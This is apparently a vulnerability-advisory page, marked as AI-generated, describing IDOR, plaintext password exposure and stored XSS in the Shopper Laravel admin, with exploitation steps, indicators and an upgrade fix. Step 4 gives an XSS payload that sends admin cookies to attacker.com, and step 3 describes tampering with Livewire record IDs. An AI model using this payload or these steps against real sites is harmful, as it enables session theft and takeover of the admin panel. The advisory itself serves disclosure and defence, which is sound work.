CVE-2026-47743
PHP vulnerability analysis and mitigation

Overview

CVE-2026-47743 is a cluster of three related security defects in the admin Livewire components of the shopper/framework (Shopper e-commerce framework for Laravel), affecting all versions prior to 2.8.0. The vulnerabilities encompass an Insecure Direct Object Reference (IDOR) via unlocked Livewire properties, sensitive plaintext password disclosure through a hidden form field, and stored Cross-Site Scripting (XSS) via the product barcode field. The advisory was first published on May 20, 2026, and added to the GitHub Advisory Database on June 5, 2026. The CVSS v3.1 base score is 8.7 (High) (GitHub Advisory, Shopper Advisory).

Technical details

The vulnerability set encompasses three CWEs: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), and CWE-79 (Stored XSS). For the IDOR issue, multiple Livewire admin components exposed Eloquent model identifiers as public properties without the #[Locked] attribute, allowing an authenticated attacker to manipulate the wire: payload in the browser to reference arbitrary record IDs across models including Order, Discount, Role, Inventory, Product, and others. For the credential disclosure issue, Customers/Create::store() re-passed a Hidden _password form field directly into the create payload, causing the plaintext password to be rendered in the page DOM and captured in any Livewire snapshot logging. For the stored XSS issue, the product barcode field was rendered via DNS1DFacade::getBarcodeHTML() using Laravel's unescaped {!! !!} syntax, allowing an attacker with edit_products permission to persist a malicious script payload that executes in the browser of any admin viewing the product (GitHub Advisory, PR #511).

Impact

Successful exploitation of these vulnerabilities can result in high confidentiality and integrity impact across the admin panel. The IDOR flaw allows authenticated low-privilege users to read or mutate records belonging to other users or system entities (orders, products, customers, roles) without authorization. The password disclosure issue exposes plaintext credentials in the HTML DOM and server-side logs, risking account takeover for any customer created via the affected form. The stored XSS vulnerability enables session theft and privileged-action chaining against any admin user who views an affected product, potentially leading to full administrative compromise (GitHub Advisory, Shopper Advisory).

Exploitation steps

  1. Reconnaissance: Identify a target running shopper/framework version < 2.8.0 by inspecting HTTP response headers, Composer lock files, or admin panel UI elements.
  2. Obtain low-privilege admin access: Authenticate to the Shopper admin panel with any account that has at least basic admin access (e.g., edit_products permission for XSS, or any authenticated session for IDOR).
  3. IDOR exploitation: Intercept a Livewire request (e.g., using browser DevTools or a proxy like Burp Suite) and modify the id or model identifier in the wire: snapshot payload to reference a different record ID (e.g., another customer's order or user record), then replay the request to read or mutate the targeted record.
  4. Stored XSS exploitation: Navigate to the product edit form, enter a malicious JavaScript payload (e.g., <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>) in the barcode field, and save the product. Any admin user who subsequently views that product's detail page will have the script execute in their browser context.
  5. Session theft / privilege escalation: Use the stolen admin session cookie obtained via XSS to authenticate as a higher-privileged admin, enabling full administrative control of the Shopper instance (GitHub Advisory, PR #511).

Indicators of compromise

  • Network: Outbound HTTP requests from admin browsers to unexpected external domains (potential XSS exfiltration of session cookies); unusual Livewire POST requests to /livewire/update or similar endpoints with modified model ID values in the payload body.
  • Logs: Web server or application logs showing Livewire snapshot payloads containing _password fields in plaintext; repeated Livewire requests targeting sequential or out-of-scope record IDs from a single authenticated session.
  • File System / Database: Unexpected or malformed barcode values in the products table containing HTML tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
  • Application Behavior: Admin users reporting unexpected logouts or session invalidation (indicative of session hijacking via XSS); customer records created with passwords visible in application logs or HTTP access logs.

Mitigation and workarounds

The vendor has released a fix in shopper/framework v2.8.0, which applies the #[Locked] attribute to all vulnerable Livewire model properties, removes the plaintext password round-trip from Customers/Create::store() (hashing at the action boundary instead), and escapes barcode output before passing it to the barcode generator. No workarounds are available; upgrading is the only remediation. Upgrade by running: composer require shopper/admin:^2.8 (GitHub Advisory, Shopper Advisory).

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-47743HIGH8.7
  • PHP logoPHP
  • shopper/framework
NoYesJul 23, 2026
CVE-2026-59931HIGH7.7
  • PHP logoPHP
  • phpoffice/phpspreadsheet
NoYesJul 23, 2026
CVE-2026-59933HIGH7.5
  • PHP logoPHP
  • phpoffice/phpspreadsheet
NoYesJul 23, 2026
CVE-2026-59932HIGH7.5
  • PHP logoPHP
  • phpoffice/phpspreadsheet
NoYesJul 23, 2026
CVE-2026-59943MEDIUM6.3
  • PHP logoPHP
  • dompdf/dompdf
NoYesJul 22, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management